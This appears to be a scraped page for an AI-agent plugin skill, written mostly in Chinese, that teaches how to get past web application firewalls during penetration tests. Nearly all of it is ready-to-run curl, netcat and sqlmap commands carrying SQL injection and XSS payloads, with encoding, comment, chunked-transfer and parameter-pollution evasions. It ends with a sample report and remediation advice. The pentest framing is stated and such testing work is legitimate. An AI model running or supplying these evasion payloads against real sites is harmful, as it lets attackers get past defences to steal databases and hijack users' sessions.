Bypasses WAFs using encoding, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQLi, XSS payloads in pentesting and red team exercises.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 当已确认的漏洞被 WAF 基于签名的检测所拦截时
Bypasses WAF protections with encoding, obfuscation, HTTP tricks, and parameter pollution to test SQLi/XSS payloads in pentesting and red teaming.
Bypasses Web Application Firewalls using encoding, obfuscation, HTTP method tricks, and parameter pollution to deliver SQLi, XSS payloads past detection during pentesting.
Tests HTTP 403 Forbidden responses for bypasses during pentests and bug bounties using header tricks, path manipulation, WAF exploits, and server-specific techniques.
Share bugs, ideas, or general feedback.
# 使用 wafw00f 检测 WAF
wafw00f http://target.com
# 通过响应头手动检测 WAF
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
# 使用已知恶意载荷触发 WAF 并分析响应
curl "http://target.com/page?id=1' OR 1=1--" -v
# 关注:403 Forbidden、自定义拦截页面、CAPTCHA 验证
# 常见 WAF 标识:
# Cloudflare:cf-ray 头、__cfduid cookie
# AWS WAF:x-amzn-requestid
# ModSecurity:Mod_Security 或 OWASP CRS 错误信息
# Akamai:AkamaiGHost 头
# Imperva:incap_ses cookie、visid_incap cookie
# URL 编码绕过
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
# 双重 URL 编码
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
# Unicode 编码
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
# 请求体中使用 HTML 实体编码
curl -X POST http://target.com/search \
-d "q=<script>alert(1)</script>"
# SQL 关键字大小写混合
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
# SQL 关键字之间插入内联注释
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
# MySQL 版本特定注释
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
# 空字节
curl "http://target.com/page?id=1'%00 OR 1=1--"
# 用制表符和换行符替代空格
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
# 更改 HTTP 方法(WAF 可能只检查 GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
# 使用 HTTP/0.9(无请求头)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
# Content-Type 操控
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
# Multipart 表单数据(可能绕过请求体检查)
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
# 分块传输编码(Chunked Transfer-Encoding)
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
# 在非常规位置传递参数
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
# HTTP 参数污染
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
# 跨参数分割载荷
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
# 基于 JSON 的 SQLi(许多 WAF 忽略 JSON 载荷)
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
# 带运算符的 JSON SQL 注入
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
# XML 包装载荷
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
# SQLMap 配合内置 tamper 脚本
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
# 常用 WAF 绕过 tamper 脚本:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
# 组合多个 tamper 脚本
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase,space2comment,between,charunicodeencode \
--random-agent --level 5 --risk 3
# 自定义 WAF 绕过配置
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase \
--delay=2 --random-agent \
--technique=B --batch
# 大小写变体
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
# 替代事件处理器
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
# JavaScript URI 方案
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
# 模板字面量语法
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
# 基于字符串拼接的绕过
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
# 属性内使用 HTML 编码
curl "http://target.com/page?q=<img src=x onerror=alert(1)>"
# 双重编码
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
| 概念 | 定义 |
|---|---|
| 签名逃逸(Signature Evasion) | 混淆载荷以避免匹配 WAF 正则规则 |
| 编码绕过(Encoding Bypass) | 使用 URL、Unicode 或 HTML 编码伪装恶意字符 |
| 协议级绕过(Protocol-Level Bypass) | 利用 HTTP 协议特性(分块编码、方法覆盖) |
| Tamper 脚本(Tamper Scripts) | SQLMap 模块,用于变换载荷以规避特定 WAF 规则 |
| Content-Type 混淆(Content-Type Confusion) | 以 WAF 未检查的非预期内容类型发送载荷 |
| 参数污染(Parameter Pollution) | 将载荷拆分到重复参数中以规避单参数检查 |
| 行为检测 vs 签名检测(Behavioral vs Signature) | WAF 检测模式:模式匹配(可绕过)vs 异常检测(更难绕过) |
| 工具 | 用途 |
|---|---|
| wafw00f | WAF 指纹识别 |
| SQLMap | 自动化 SQL 注入,配合 WAF 绕过 tamper 脚本 |
| waf-bypass.com | 社区维护的 WAF 绕过载荷数据库 |
| Awesome-WAF | WAF 绕过技术整理的 GitHub 仓库 |
| Burp Suite | HTTP 代理,用于手工构造载荷和分析 WAF 响应 |
| XSStrike | 具备 WAF 检测和绕过能力的 XSS 扫描器 |
## WAF 绕过评估报告
- **目标**:http://target.com
- **识别的 WAF**:Cloudflare(via cf-ray header)
- **已实现绕过**:是
### WAF 检测结果
| 载荷类型 | 是否被拦截 | 是否找到绕过 |
|-------------|---------|-------------|
| 基础 SQLi | 是 | 是(JSON 编码) |
| UNION SELECT | 是 | 是(内联注释) |
| XSS <script> | 是 | 是(SVG onload) |
| 路径遍历 | 否 | 不适用(未被拦截) |
### 成功绕过载荷
| # | 原始载荷(被拦截) | 绕过载荷 | 技术 |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL 版本注释 |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | 替代标签+事件处理器 |
### 修复建议
- 在 WAF 规则中启用 JSON 请求体检查
- 在签名检测基础上实施行为分析
- 增加对非常见 HTML 标签和事件处理器的规则
- 对所有 HTTP 方法启用深度内容检查
- 在规则评估前实施请求规范化处理